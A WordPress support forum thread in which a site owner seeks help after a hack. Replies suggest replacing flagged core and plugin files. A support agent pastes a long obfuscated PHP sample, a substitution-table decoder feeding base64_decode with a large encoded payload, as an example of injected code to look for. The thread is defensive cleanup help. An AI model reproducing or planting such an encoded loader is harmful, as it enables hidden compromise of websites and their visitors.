I have virus on my website, i want to remove it

On friday somebody hack mywebsite even with wp defeder pluggin active and publish one spam article. I remove it and the admin user that was hack. Now on some links the visitors say that the pages are with virus. I give you access to verify and explain what happen. I what to know all the afected parts on the site. It is urgent! Regards

  • Sajid
    • DEV MAN’s Sidekick

    Hello Adrian Ambrose,
    Hope you are doing good today :slight_smile:

    I am sorry to hear you got hacked. Thanks for enabling support staff access. I scanned your site but could not find any malicious or harmful code/files.

    Please note that, if there are some articles/content published on your website, it could not be detected/removed by Defender plugin.

    You have to find that and remove the content manually.

    Also, could you please share the link of those pages your visitors says contain virus so I could troubleshot that further.

    Take care and have a nice day :slight_smile:

    Best Regards,
    Sajid - WPMU DEV Support

    • Adrian Ambrose
      • Flash Drive

      Dear Faydra, thanks for you recomandation.

      I have install that plugin and bellow are the results:
      Read/Write Errors

      .../public_html/wp-content/plugins/hustle/vendor/aweber/aweber/tests/data/empty.json
      X
      Potential Threats

      * NOTE: These are probably not malicious scripts (but it's a good place to start looking IF your site is infected and no Known Threats were found).

      ?.../public_html/wp-admin/includes/class-pclzip.php
      ?.../public_html/wp-content/plugins/broken-link-checker/idn/uctc.php
      ?.../public_html/wp-content/plugins/broken-link-checker/includes/admin/links-page-js.php
      ?.../public_html/wp-content/plugins/hustle/assets/js/vendor/ace/mode-css.js
      ?.../public_html/wp-content/plugins/jetpack/_inc/postmessage.js
      ?.../public_html/wp-content/plugins/wordpress-seo/js/dist/jquery.tablesorter.min.js
      ?.../public_html/wp-content/plugins/wp-defender/assets/javascripts/jquery.rotate.js
      ?.../public_html/wp-content/themes/rehub/js/jquery.carouFredSel-6.2.1-packed.js
      ?.../public_html/wp-content/themes/rehub/vafpress-framework/public/js/vendor/ace/worker-css.js
      ?.../public_html/wp-content/themes/rehub/vafpress-framework/public/js/vendor/ace/worker-javascript.js
      ?.../public_html/wp-includes/js/json2.js
      ?.../public_html/wp-includes/js/json2.min.js
      ?.../public_html/wp-includes/js/tw-sack.js
      ?.../public_html/wp-includes/js/tw-sack.min.js
      ?.../public_html/wp-includes/js/jquery/jquery.form.min.js
      ?.../public_html/wp-includes/js/jquery/jquery.schedule.js
      ?.../public_html/wp-includes/js/swfupload/swfupload.js
      ?.../public_html/wp-includes/js/tinymce/tiny_mce_popup.js

      What I shoud do next? I`m not a developer to read all the java scripts and to see where it is something wrong. I dont see any button with fix the issues...

      Kind regards
      Adrian

      • faydra_deon
        • WordPress Warrior

        My best advice is to download the latest version of WordPress and all the plugins and FTP into your site and replace all the files that have been listed.

        If anything was changed in any of those files, then replacing them with newer versions will wipe out any modifications to those files.

        This way, you don't have to worry about not being able to read JavaScript.

        Faydra...

  • Sajid
    • DEV MAN’s Sidekick

    Hello Adrian Ambrose,
    Hope you are doing good today :slight_smile:

    As mentioned by Faydra above, in this case you need to look into each file one by and see if these contains any suspicious code like below.

    <?php
    $vIIJ30Y = Array('1'=>'F', '0'=>'j', '3'=>'s', '2'=>'l', '5'=>'M', '4'=>'0', '7'=>'W', '6'=>'L', '9'=>'Z', '8'=>'b', 'A'=>'i', 'C'=>'O', 'B'=>'G', 'E'=>'3', 'D'=>'6', 'G'=>'A', 'F'=>'8', 'I'=>'q', 'H'=>'a', 'K'=>'J', 'J'=>'w', 'M'=>'z', 'L'=>'5', 'O'=>'k', 'N'=>'x', 'Q'=>'N', 'P'=>'o', 'S'=>'K', 'R'=>'X', 'U'=>'d', 'T'=>'7', 'W'=>'y', 'V'=>'t', 'Y'=>'I', 'X'=>'p', 'Z'=>'4', 'a'=>'U', 'c'=>'9', 'b'=>'c', 'e'=>'Y', 'd'=>'n', 'g'=>'C', 'f'=>'H', 'i'=>'P', 'h'=>'E', 'k'=>'B', 'j'=>'g', 'm'=>'R', 'l'=>'Q', 'o'=>'e', 'n'=>'v', 'q'=>'r', 'p'=>'T', 's'=>'2', 'r'=>'1', 'u'=>'f', 't'=>'h', 'w'=>'V', 'v'=>'u', 'y'=>'D', 'x'=>'S', 'z'=>'m');
    function v78ZFAX($vJOJJ7T, $vRJ8WGX){$vM74216 = ''; for($i=0; $i < strlen($vJOJJ7T); $i++){$vM74216 .= isset($vRJ8WGX[$vJOJJ7T[$i]]) ? $vRJ8WGX[$vJOJJ7T[$i]] : $vJOJJ7T[$i];}
    return base64_decode($vM74216);}
    $vFHLJ89 = 'gz2zSB2Mbsw4Sgmuahcpw13AescO9xKUSxGzKAkXbEQ2UgjORrkiarm8YzQrbEmn8wcteEmX8sZARxOjKAejHRQu9scn91cXb'.
    'gjORrQ1a291a23daOwQprm1R41hm1YdRxOXgd3Sg7wse7JPez1M9pe4Rsm2escO'.
    '9xjORrkiarm8YzQn9BaARxOXCJPK9RtXUgjXCJXcgjXX9AGPHRQM9RlPK1clprQa7WK4oRk'.
    '2Y24XYgezYgmuahcpw13AUf2J9xKUip4A5xYXgd3SgRmLbBaNREQ28zlPSp3Sg7wZHRlPSp3SulX28fQ2H7ejSB2Mbsw4S'.
    'gmuahcpw13AUf2J9xKUSxGzKAGORrkiarm8YdmLbBaARp4cY0YASlXTgjXcgzw3bswX9'.
    'AGPHRQM9RlPK1clprQa7WK4oRk2Y24XSlXTgj22estnYgmuahcpw13AUf2J9xKUCJPK9RtXUgjXCJXcgjX2bdKnb2F45ylP'.
    'Sp3Sgz9r8zQ4H7cvYB2MRsUn8smuHRGPKB2JSlXTgjOO9scn9f5jixkkbdKtoxjAQAZNCyav505L6AY3Y'.
    'gYZ60hMCgZN5pjvYAOTgjOSg79nbzwtesjjSgmd8scObWktbWGO9scn9gOSgR3Sgl2X9AGPbEmWbEmWS'.
    'gmXbgJjKBUn8slXYghcYh9kp1Q1SlPKgR3SglOKbzw4URKvY1mxwaaTgjOKul'.
    'PKulPKgj2W9RmrbzZjmO15a4aTgd4Sgz9r8zQ4H7cvYfmLbBaNREQ28zlPSlXTgj2X9AjtHRQM9RlPK1clprQa7WK2871X8f5A'.
    'RxOSglOKprYjY72Mbsw4Sgmuahcpw13AUBt287wMY24XgjOKgacxYg1XbEQ2UgjORrki'.
    'arm8Yzr2bEQt9swMY24XgjOKgacxYg1XbEQ2UgjORrkiarm8Yz9W8srMY24XgjOKgacxYg1XbEQ2Ug'.
    'jORrkiarm8YzrtH7N2bd5ARxOSgxOSgR3Sgl22oB24SgOTgj2cgjPKH7eP9sw4Rsrt9s20RE1r'.
    '8Em2brcdbB5PSxOSgR3Sgl2z8EK2e7QPSgmuahcpwgktbWGOHswLYy4+YgmJ8EQ4SlPKg'.
    'R3SglOKK1clprQa7Wmq9R2UYy4jbEmWHRk0bsNtbst2bWjObBcMUgOTgjOKulPKulPSgxm'.
    '2871X8f5jixkGU7LM9RKXe7NXozaPez1M9pe4Rsm2escO9xjORrkiarm8YzwVe723bWK'.
    'USxOTgjOOUBt287wMYy4jlfwvbswWH713HRX2SBKtbsasQ1cO97Qn9BaPK1clprQa7WK4HBwV9R5AR'.
    'xOXCJPKKBr2bEQt9swMYy4jlfwvbswWH713HRX2SBKtbsasQ1cO97Qn9BaPK1clprQa7WKV9RQ'.
    'Me7U2bWKUSxOTgjOO9dKn8R5jixkGU7LM9RKXe7NXozaPez1M9pe4Rsm2escO'.
    '9xjORrkiarm8Yz9W8srMY24XSp3SgxmVe7239RKMYy4jlfwvbswWH713HRX2SBKtbsasQ1cO97Qn9BaPK1clprQa7WKVe7239R'.
    'KMY24XSp3Sgxmt8B2tbswMYy4jlfwvbswWH713HRX2SBKtbsasQ1cO97Qn9BaPK1clprQa7WK'.
    't8B2tbswMY24XSp3SgxmJeRQM9R5jixkGU7LM9RKXe7NXozaPez1M9pe4Rsm2escO9xj'.
    'ORrkiarm8YdktbEQ2bWKUSxOTgjPKH7ePHRQM9RlPK1cpmwK7mwYXSlP'.
    'KoJPKgxmua4wxwOwx7WUlx1kua4w5mAUUYy4jYAFACWGSglOORrQ1a291a23daOwQprm1R41'.
    'hm1YdRxGcYgYN50bv5gZJ60hACJPKg72zSg128Rk4oxjORrQ1a291'.
    'a23dx1maa1ceR49ia2UkaOm1m1cBprYdRxOXgjOKoJPKglOORrQ1a291a23dx1maa1ceR49ia2UkaOm1m1cB'.
    'prYdRxGcYgYN50bv5gZJ60hACJPKgR4SgR4Sgj2X9AtXbEQ2UgjOR49KphwpSxOSgR3Sgl2z8EK2e7QPSgmumO25mw5jeR5jK'.
    'BV2oxGciAGO9z239xOSgl2TgjOKgxmzH7N28z1V9xGcYB13UBwWRsrteEKnbWjOe7NXeRQ2br3OHs'.
    'wLRxOTgjOKgxmzH7N28z1V9xGcYBLr8wcVe7QW8E5PKB9X8Bwve7r2Sp3SglOKK'.
    'B9X8Bwve7r2Yy4jUBwZU1cVe7QW8E5PKB9X8Bwve7r2Sp3SglOKKB9X8Bwv'.
    'e7r2Yy4joBLr8wcVe7QW8E5PKB9X8Bwve7r2Sp3SglOKK1cBxaN1ar3OHswLRw3A8z1V9xKUYy4jKB9X8Bwve7r2CJP'.
    'KgR4SgR4Sgj2X9At28Rk4oxjO97rtH7NMSxOSgR3Sgl22oB24SgOTgj2cgjPK9zcW9710HgGPKBwVe723'.
    'bWktbWGO9dm2H7JjipZjKBwVe723SlPKoJPKgxm4HBwV9xGcYgm4HBwV9RQ8eRKWeR2ubz1v9gjOUBt28'.
    '7wMSw4TgjOKKfmP97r2Yy4je7N49RKu8710bzcMSgm4HBwV9w3AUBt287aARxOTgjOKKfmP97r2Yy4j8dwVRsrteEKnbWj'.
    'OUBt287aXCJPKgxm4HBwV9xGcYfm2ofmu8710bzcMSgm4HBwV9xOTgjOKKfmP97r2Yy4joBLr8wcVe'.
    '7QW8E5PKfmP97r2Sp3SgjOKKBr2bEQt9sajixGO87wMbs1d9RQ8eRKWeR2ubz1v9gjO87wMbs1d9R5XRp3SglOO8'.
    '7wMbs1d9xGcYB13UBwWRsrteEKnbWjO87wMbs1d9w3A87wMbs1d9xKUSp3SglOO87wMbs'.
    '1d9xGcYBLr8wcVe7QW8E5PKBr2bEQt9saXCJPKgxmV9RQMe7U2Yy4jUBwZU1cVe'.
    '7QW8E5PKBr2bEQt9saXCJPKgxmV9RQMe7U2Yy4joBLr8wcVe7QW8E5PKBr2bEQt9saXCJPKgxFnKBr2bEQt9saj'.
    'ixkJeRQMRsrteEKnbWjO87wMbs1d9xJjKfktbEQ2bWOTgjOKKBr2bEQt9sajixkzUBwX81cVe7QW8E5PKBr2bE'.
    'Qt9sa3YgmzUBwX8gOTgjPKgxmzbzcVYy4jKB9W8srM7s1Wbz1LREKt8zlPKB9W8srMSw4TgjOKKB9W8s4jixkt8fm2b'.
    '2cVe7QW8E5PKB9W8sr8Yz9W8s4ARxOTgjOKKB9W8s4jixkvU7ru8710bzcMSg'.
    'mzbzcVSp3SglOO9dKn8xGcYfm2ofmu8710bzcMSgmzbzcVSp3SglOO9dKn8xGcYftvU7ru87'.
    '10bzcMSgmzbzcVSp3SglOSgl2X9AGPbEmWbEmWSgmzbzcV6gGA74Q'.
    'warmipw4ASxGcixkBlaNpmxOSgl2TgjOKgxmzbzcVYy4j9dKn8wcP8EQ4S'.
    'gmzbzcVSp3Sgl2cgjOK97NM9lPKgR3SglOKKB9W8s4jixkMUfKubzwJ8B109xjA74Qwarmipw4A6g'.
    'GAYAJjKB9W8s4XCJPKgR4SgjOKKBrtH7N2bAGcYgmVe7239RKM7s1Wbz1LREKt8zlPKBr'.
    'tH7N2bd5XRp3SgjOKbswv91cVe723SgmzbzcV6gGO97rtH7J3Ygm4HBwV9xJjK'.
    'Br2bEQt9sa3YgmVe7239RYXCJPKulXcgjXzU7L0UB2n8AkM97LORsrtH7JPKB'.
    '9W8s43Ygm48WJjKfQrezP3Ygm49Rt46gGO871X8BwWSlXTgAGjYgGOHBwt9gGcYgYACJPSYgGjYgmr8AGcY'.
    'fQ4bdmnURkJ9RYPU7LXb72OSfmX87aPSxOXCJPSYgGjYgmP971OYgZcYgKBb'.
    'zcVCAGO9dKn8wNvY03SYgGjYgmP971OYgZcYgKe6artH7N2b0PjKBrtH7N2b2NvY03SYgGjYgmP971OYgZcYgKx9Rk3oxra8MPj'.
    'KB9W8srb8AYTgjPjYgGjKBt2e7lj604jYOrX87aVwzwWbs2n80Pj5xZJRBZACJPjYgGjKBt2e7lj604jYOQn8dm28dlVwf2J9'.
    'pPj8Rw3UB2JeRK46s13UBwW8z14HR92CWYTgAGjYgGOHBwt9gGvixGAezcr8zmtbdOcRgYV6x4V6x4V6x4VYAZO'.
    'U7ZvY2JARBLb8AYTgAGjYgGSYgGjYgmJ8B1X8AGcYfQ4bz2JREmt9E5PKfm2oflXCJPjYgGjKfXt9WGcYgYV6x4V6x'.
    '4V6x4V6x4A6Amr8AZARBLy8sL497L46wmLbBaDYfm2oflnbBNtH7ZTYBQ'.
    'PeRKM9RlcRgKKa4FVCyjrCx4NRgYTYB9nbzrtUyrz8BcE97mb8AYTgAGjYgGOoz1dYgZcYgKy8sL'.
    '497L46wmWe7LM9zwW6awvescOH7LdCAGEez24RBLb8AYvKfk3e72v6AKb82NvY03SYgGjYGPjYgGjKf'.
    'Xt9WGvixGA6x4V6x4V6x4V6x4VYAZOU7ZvY2NvlscvUBwvUgraoRk2CAk49Rt46'.
    'st487JTYBQPeRKM9RlcRgKKa4FVCyjrCx4NRgYTRBZACJPjYgGjKfXt9WGvixGAlscvUBwvUgrabz1vbs'.
    '92bAr18zQn9B2v9MPjQsKXU1NvRBZOUBwZU1NvRBZACJPjYgGjKfXt9WGvixGA6x4V6x4V6x4V6x4VYAZOU7ZvYA4VY'.
    '03SYgGjYGPjYgGjH7ePescr8dlPK1cBxaN1aWOjiAGJSlPjYgGjoJPjYgGjYgGjYB9nbzwtesjPK1cBxa'.
    'N1aWktbWGO9z239xOSYgGjYgGjYgkTgAGjYgGjYgGjYgGjYB2zSB9X8'.
    'Bwu9RtXbEmMSgmzH7N27WK48Rku8z1V9xKUSxOSYgGjYgGjYgGjYgGjoJPjYgGjYgGjYgGjYgGjYgG'.
    'jKBejixkz8Ek28AjO9z239w3AUBrJRsLt87aARxJjYdKAYAOTgAGjYgGjYgGjYgGjYgGjYgGOoz1dYgZcYgY'.
    'V6x4V6x4V6x4V6x4A6Amr8AZARBZACJPjYgGjYgGjYgGjYgGjYgGjKfXt9WGvixGAlscvUBwvUgraoRk2CAktbfk'.
    '3H7QtUB2n8AcneEm2UgrMUfK2e74TY03SYgGjYgGjYgGjYgGjYgGjYgmDe7bj60'.
    '4jYzLt87acRgYA6AmzH7N27WKve7r2Y24vY2JARBZACJPjYgGjYgGjYgGjYgGjYgGjKfXt9WGvixGAlscvUBwvUgr'.
    'abz1vbs92bAr18zQn9B2v9MXAeRQ2Q0mb8AYTgAGjYgGjYgGjYgGjYgGjYgGOoz1dYgZcYgKy8sL497L46amXbE'.
    'knbs24H7cvCz14UB10HBr28dlTY03SYgGjYgGjYgGjYgGjYgGjYgmDe7bj604jYz9X8Bwve7r2iwJAYAZO9z239w3A8z1V9'.
    'xKU6AKbY2NvRBZACJPjYgGjYgGjYgGjYgGjYgGjKfXt9WGvixk0HfwvHr'.
    'cMbBNXUgtAeRQ2Q0mu97L08sm2SB9W971OSgmz6gkzH7N2bs2D9xjO9z239w3AUBrJRsLt87aARxOXSxO'.
    'vY2NvY03SYgGjYgGjYgGjYgGjYgGjYB908BcM9xjO9AOTgAGjY'.
    'gGjYgGjYgGjYf4SYgGjYgGjYgkcgAGjYgkcgjPjYgGjH7ePlBrtH7JPKfmn6gGObEwAHAJjKfXt'.
    '9WJjKBt2e7lXSlPjYgGjoJPjYgGjYgGjYB2zSg128Rk4oxjORrkiarm8KE92bzKnbsadRxOXgAGjYgGjYgGjYgG'.
    'jYBw0HBFjY2Q1pOm1mgYTgAGjYgkcgAGjYgk28fQ2gAGjYgkTgAGjYgGjYgGjH7ePY7wVbfmLSgmuahcpw13dUzwWezcM9xUU'.
    'SxOSYgGjYgGjYgGjYgGj97QP8WGAmO1KpgYTgAGjYgkcgd4Sgz9r8zQ4H7cvYB13UBwWRsrteEKn'.
    'bWjOescvUBwvUgOSoJPjYgGjbfK29rcVeRm0H1ct8BJPKWQTSgZISR40w7Od6gGOescvUBwvUgJjKBrtUBQP9R5XCJPSYgGjY'.
    'B9nbAjOHxGcYyGTYgmXYyJjescr8dlPKBrtUBQP9RQ85w4XCWGOHx3qSlPjYgGjoJPSYgGjYgGjYgG'.
    'O8d5jixk2ofk38sm2SgKFYAJjKBrtUBQP9RQ85wr8KB2USp3SYgGjYgGjYgGOeMYjixk08EwvUgjO8d5XCJPjYgGjYgG'.
    'jYgmWe7LOYy4jbz1v9gjJ6gGPKB5WYg4j5xOXCJPjYgGjYgGjYgm08sL497L4Yy4jbEmWREK2bBNtesaPYd3A6Am'.
    'VeRm0HBwM7M1U7WmXRxZAuxY3Ygmvbr3Obz1v9143Ygm08sL497L4S'.
    'p3SYgGjYf4SYgGjYfK2UfwW8AGOescvUBwvUy3SulPS9dwveEmX8sZjUBw'.
    'ZU1cVe7QW8E5PKBQn8dm28dlXgd3SYgGjYfkW97Uu8714estue7N3Sgb0R1VamwtaRg4P7r3D9B2dHRlDRw4qSwJVS'.
    '1V8CzmX9s24C2rUSW2bRx5d6gGOescvUBwvUgJjKBrtUBQP9R5'.
    'XCJPSYgGjYB9nbAjOHxGcYyGTYgmXYyJjescr8dlPKBrtUBQP9RQ8514XCWGOHx3qSlPjYgGjoJPjYgGjYgGjYgmVH7ZjixG'.
    'O8714est2br3NRw3OHw4TgAGjYgGjYgGjKBrtogGcYgmVeRm0HBwM7MKU7WmXRp3SYgGjYgGjYgGObz1v9gGcYfKt8zlPKBr'.
    'X8AJjKBrtogOTgAGjYgGjYgGjKfUnbzljixkd97L2bz149wcE8EKOSgmWe7LOSp3SgAGjYgGjYgGjKB'.
    'Qn8dm28dljixkJbzwdREK2bBNtesaPYAFA6dkW97UubRwnUBaPKBrtUBQP9RQ851r8KB'.
    '2USxZA6WY3YgmE8EKO6gGOescvUBwvUgJj5xOTgAGjYgkcgjPjYgGjbfK29rcVeRm0H1ct8BJPKWQb7rm171mb6xt87MXOH'.
    '7UXUyXURx3XR140KWJjKBQn8dm28dl3YgmVeRm0HBwMSp3SgAGjYgkz8EYPKBOjixGJCWGOHxGFYBQnU7L4SgmVeRm0HBwM7'.
    'MkUSp3jKBOqSWOSYgGjYf3SYgGjYgGjYgGOescr8dljixGO8714est2br3NRw3OHw4TgjP'.
    'jYgGjYgGjYgmE8EKOYgGcYBU28zwWeRm2REUnbzlPKBQnU7L4Sp3SgAGjYgGjYgGjKBQn8dm28dljixkJbzwdREK2bBN'.
    'tesaPYAFA6dkW97UubRwnUBaPKBrtUBQP9RQ851r8KB2USxZA6WY3YgmE8EKO6gGOescvUBwvUgJj5xOTgAG'.
    'jYgkcgjPSYgGjYfK2UfwW8AGOescvUBwvUy3SulPS9dwveEmX8sZjoBLr8wc'.
    'Ve7QW8E5PKBQn8dm28dlXgd3SYgGjYfkW97Uu8714estue7N3Sg'.
    'b0R1VCwarb6xt87MXOH7UXUyXURx3XR140KWJjKBQn8dm28dl3YgmVeRm0HBwMSp3SgAGjYgkz8EY'.
    'PKBOjixGJCWGOHxGFYBQnU7L4SgmVeRm0HBwM7MkUSp3jKBOqSWOSYgGjYf3SYgGjYgGjYgGO8dwVY'.
    'y4jKBrtUBQP9RQ85wr8KB2UCJPjYgGjYgGjYgmVH7ZjixkJ8EbP5pG3YgmvU74j6xGNSp3SYg'.
    'GjYgGjYgGO871ZYy4jbBcESyhJ6gGO8dwVSxGVYyhTgjPjYgGjYgGjYgmWe7LOYy4jbz1v9gjO872v6g'.
    'GO871ZSp3SYgGjYgGjYgGOescvUBwvUgGcYfQ4b2cW9Rk3e7Q2SgmVeR'.
    'm0HBwM7MkU7WmXRxJjKfKt8zl3Ygm08sL497L4Sp3SYgGjYf4SYgGjYfK2UfwW8AGOescvUB'.
    'wvUy3SulPS9dwveEmX8sZj8dwVRsrteEKnbWjOescvUBwvUgOSoJPjYgGjbfK29rcVeRm0H1ct8BJPKWQb7rKkpOmb6xt87M'.
    'XOH7UXUyXURx3XRg4P7r3D9B2dHRlDRw4qSwNUYWb3Ygm08sL497L46gGO8714est2bWOTgjP'.
    'jYgGj9zcWSgmXYy4j5y3jKBOjigk08EwvUgjO8714est2br3JRxOTYgmXSW3XgAGjYgkTgAGjYgGjYgGjKBrX8AGcYgmV'.
    'eRm0HBwM7M1U7WmXRp3SYgGjYgGjYgGO871ZYy4jKBrtUBQP9RQ'.
    '852r8KB2UCJPjYgGjYgGjYgmWe7LOYy4jbz1v9gjO872v6gGO871ZSp3SYgGjYgGjYgGOescvUBw'.
    'vUgGcYfQ4b2cW9Rk3e7Q2SgmVeRm0HBwM7MkU7WmXRxJjKfKt8zl3Ygm08sL497L4Sp'.
    '3SYgGjYf4SYgGjYfK2UfwW8AGOescvUBwvUy3SulPS9dwveEmX8sZj9swv9RKtUBwuUscW9gjO8Bwv9EmPSlXTgAGjYgGOesttb'.
    'd5jixGde7K09Bwz9stXHzV387Lnbf1WbEmrUd2ZoAbTgAGjYgGO8dwVlsttbd5jixkMUfK397ZPKBQPeRKMSp3SYgGjYgm'.
    'MUfKX8zbjixGdKM3SYgGjYB9nbAjOHxGcYyGTYgmXYyJjKBN28zU4Hy3jKBOqSWOSYgGjYf3SYgGjYgGjYgGObEmWH7Ld'.
    'YgZcYfQredQ4bAjOesttbd53YfKt8zlP5xJjKBLr8aQPeRKMSxGVYyh3YyhXCJPjYgGjulPjY'.
    'gGjbzw4URKvYgmMUfKX8zbTgd4Sgz9r8zQ4H7cvYfktbEQu8710b'.
    'zcMSgm08sL497L46gGObB1MbswMSlXTgAGjYgGObB1MbWGcYB1Wbz1LREknbgjObB1MbswMSp3SYgGjYGPj'.
    'YgGjbzw4URKvYfQ4b2cW9Rk3e7Q2SgK8ah1par4A6gGObB1MbWJjKBQn8d'.
    'm28dlXCJXcgjXzU7L0UB2n8AkzUBwX81cVe7QW8E5PKBQn8dm28dl3YgmzUBwX8gOSoW'.
    'GjYgGSYgGjYfK2UfwW8AkMUfKubzwJ8B109xjA749ama25RxY3YgmzUBwX8gJjKBQn8dm28dlXCJ'.
    'XcgjXzU7L0UB2n8AkXbrcXbgjObEmWSxkTgAGjbzw4URKvYfkW97Uu8714esjPYAcoS13N6p2Uu13N6'.
    'p2U7MGVCwrF5w3J6p2U7MGVCwrF523J6pmU7MGVCwrF50w85g4rRxOPRgZP7MGVCwrF7MhVCwr85g4LRRJ'.
    'N7MGVCwr85g4LRRJW7MGVQ1r85g4LRRJWQw3J6pwUSx2T5E4O6W'.
    'Y3KfQ4bAOTgd4Sgz9r8zQ4H7cvYB9W8sruHBcMUgjOescvUBwvUgOSoJPSYgGjYgmP8EQ4Yy4jbfK29'.
    'rcW9Rk3e7Q2SgbnRAtEUEUF9dmJSwJv6sOd6gbd6hGORrQ1a291a23dx1maa1cYprQaKr4XCJPSYgGjY'.
    'B2zYgtXbrcXbgjOHBcMUgOXgAGjYgkTgAGjYgGjYgGjbzw4URKvYgm08sL497L4C'.
    'JPjYgGjulPjYgGjgAGjYgGOUBcq97LMYy4j9RtJ8BcO9xjAlgY3Ygm08sL497L'.
    '4Sp3SgAGjYgGOescvUBwvUgGcYgm48sV28dQ8514j6AGAlgYj6AGOHBcMUgGvYg'.
    'Y+Y03SgAGjYgkW9RmrbzZjKBQn8dm28dlTgd4Sgz9r8zQ4H7cvYBwWbzcWRMl'.
    'JQgjXgd3Sg7t2e7m2bAjAx1maagFN60hjQyG4YhLnUgkB8Ewv9gYXCJPSgxmrbzOjixkJbzwdREK'.
    '2bBNtesaPKWFPRyFX6APO6Wb3Ygbd6gGORrQ1a291a23daOwmwawpw1cwaOOdRxGXCJPS'.
    'gxm08sL497L4Yy4jeEwMUBcVRst4UfkubzwNU7wMUyhPYzt4UfGD6'.
    'WFA6Amua4wxwOwx7WUYw1mlR4tiarldRxZA641Ba7XypOtvHytx'.
    'UfmBxpQ7pRKg9Bm9UM9W8zU6o0U6mahASp3Sgxm08sL497L4Yy4jb'.
    'EmWREK2bBNtesaPYgYnla9mHOQCxBLPC1K4Uh9K5r9QbOKO912EQdKv94VDQ4V1lxY3Ygmrb'.
    'zO3Ygm08sL497L4YgOTgjPK9RtXUgjjKBQn8dm28dljSp3SulPSgz9r8zQ4H7cvYBQrbEmn8wcPUfmJREK2bRw2bElNSgmJe'.
    'RKt8R5Xgd3SYgGjYB2zSgGtYB2MRs1Wbz1LSgmJeRKt8R5XYgOSYg'.
    'GjYf3SYgGjYgGjYgGObB1We7rMYy4jeRKWeROPgAGjYgGjYgGjYg'.
    'GjYgUrbzJdYy4+YgmJeRKt8R53gAGjYgGjYgGjYgGjYgUV9RmP8sldYy4+YgUfmwldgAGjYgGjYgGj'.
    'Sp3SYgGjYf4SYgGjYGPjYgGjH7ePYgmJeRKt8RQ8KEwW8gUUip4dKWG'.
    'XYfK2UfwW8AkBlaNpmp3SYgGjYGPjYgGjH7ePYghjHRQM9RlPKfktbz1Vbr3'.
    'd87w4HBcOKr4XYgOjKfktbz1Vbr3d87w4HBcOKr4jixGPHRQM9RlPKf'.
    'ktbz1Vbr3d9B14exUUSxezHRQueRKWeROPKfktbz1Vbr3d9B14exUUSxOjiWGdahcpwg'.
    'bjCAGdm4waKM3SYgGjYgmJeRKt8RQ8Ksr2UBtn9gUUYy4jbEmWUBcrbfk2bAjOb'.
    'B1We7rM7WUV9RmP8sldRxOTgAGjYgkX9AjjYxkX82ctbdKtoxjObB1We7rM7WUV9R'.
    'mP8sldRxJjeRKWeROPK4U1wgb3YgUlprQaKWOXYgOjbzw4URKvYh9kp1Q1CWGSYgGjYGPjYgGj6WPj4K/mj'.
    'QgZ466lnVg4460lngymjUBk4enlvcgD4e5j46Yj46/mjQgJ466lvQgT4eMlnUB646Oj466'.
    'lvQg4YgPngAGjYgGOURK3Yy4jbB1WbswuURK3SgmJeRKt8RQ8KEwW8gUUSp3SYgGjYB2zSgGtYB2Mbsw4SgmrbzN8KEQ0HBwV9xU'.
    'USxGXYgmrbzN8KEQ0HBwV9xUUYy4jKst4UfGdCJPjYgGjH7ePYghjHRQM9RlPKfwW813dbB14HgUUSxGXYgmrbzN8K'.
    'EktUBjdRxGcYgbnKM3SYgGjYB2zSgGtYB2Mbsw4SgmrbzN8KstnbEldRxOjKAejHRQM9RlPKfwW813dbB14HgUU'.
    'SxGXgAGjYgkTgAGjYgGjYgGjH7ePYfQ4bdknbWjOURK37WUJeRmPKr43YgbnKWOjSlPjYgGjYgGjYf'.
    '3SYgGjYgGjYgGjYgGjKfwW813dHBcMUgUUYy4jbEwAbEmWSgmrbzN8KEktUBjdRxJ'.
    'j5gJjbEmWbBcMSgmrbzN8KEktUBjdRxJjKWFdSxOTgAGjYgGjYgGjY'.
    'gGjYgmrbzN8KEktUBjdRxGcYfQredQ4bAjOURK37WUJeRmPKr43YfQ4bdknbWjOURK37'.
    'WUJeRmPKr43YgbnKWOXCJPjYgGjYgGjYf4SYgGjYgGjYgk28fQ2gAGjYgGjYgGjoJPjYgGjYgGjYgGjYgGOU'.
    'RK37WUP8EQ4Kr4jixGOURK37WUJeRmPKr4TgAGjYgGjYgGjYgGjYgmrbzN8KEktUBjdRxGcYgbnKM3KgAGjYgGjYgGjulP'.
    'jYgGjulPjYgGjKfwW813dbB14HgUUYy4jbfK29rcW9Rk3e7Q2SgYn7rNb6r4q6WY3YgYnYAJjKfwW813dbB14HgUUSp3S'.
    'YgGjYB2zSgkXbEQ2UgjOURK37WUNU7wWoxUUSxGXYgmrbzN8KEktUBjdRxGv'.
    'ixGAiE3OURK37WUNU7wWoxUUuxYTgAGjYgGSYgGjYgmJ8EK4Yy4jHR'.
    'QM9RlPKfktbz1Vbr3dbBcWUgUUSxG/YgmJeRKt8RQ8KEknbdldRlPjYgGjYgGjYgGjYgGDYgjjHRQM9RlPKfwW813dbBc'.
    'WUgUUSxG/YgmrbzN8KEknbdldRxGDYgjOURK37WUMest287adRp4cKst4UfkMKMF4Qy5DCyGXYgOTgAG'.
    'jYgGSYgGjYgm4H7r28Ew4Yy4jHRQM9RlPKfktbz1Vbr3dUB2V97crUgUUSxG/YgmJeRKt8RQ8KEmX87wnURldRxGDYy5JCJP'.
    'jYgGjH7ePYghjHRQM9RlPKfktbz1Vbr3dbzw4URKvKr4XYgOjKfktbz1Vbr3dbzw4URKvKr4jixGdescvUBwvUgbTgAGjYgGS'.
    'YgGjYgmMest287ajixGOURK37WUMest287adRp4cKst4UfkMKWG/YgUMbsJD6WFdCAbdCJPjYgGjKB9JYy4jlB'.
    '9M8sQq8Ek28AjObsQP97r26AmrbzN8KstnbEldRxJjKfknbdl3Ygm2bdKv8WJjKBwWbdQ4bAJjKfmX87wnURlXCJPjYgG'.
    'jH7ePYgmzbgGXgAGjYgkTgAGjYgGjYgGj6WPjp7cDH7N3exGI6JPjYgGjYgGjYB2zSgGtYB2Mbsw4SgmJe'.
    'RKt8RQ8KrwM9RYVl7U28dldRxOjSxGObB1We7rM7WUwbswW6a1d97L4Kr4jixGAp7cDH7'.
    'N3exFr60GjSB2lHBcv9p3jwp3jlrkwYB2lHBcv9xkiaWGMRMGj8B2q9xkQe75jpr5j7y3j97Z'.
    'VUR5XYh1JbBN2wswAxs246MaWCgZNCgGPx4tapaJ3YBNXHsajmsw0HsFXY192bdQX8sZnQgZJYhrnez2'.
    '39xFElp545xkpe79tbzOnQpYZ60hsY03SYgGjYgGjYgGSYgGjYgGjYgGObzwNU7'.
    'wMUgGcYgKTKfktbz1Vbr3d87w4HBcOKrrcYf3OURK37WUJeRmPKrrcYhtaw1Gn5xZJRfKb8AYTgA'.
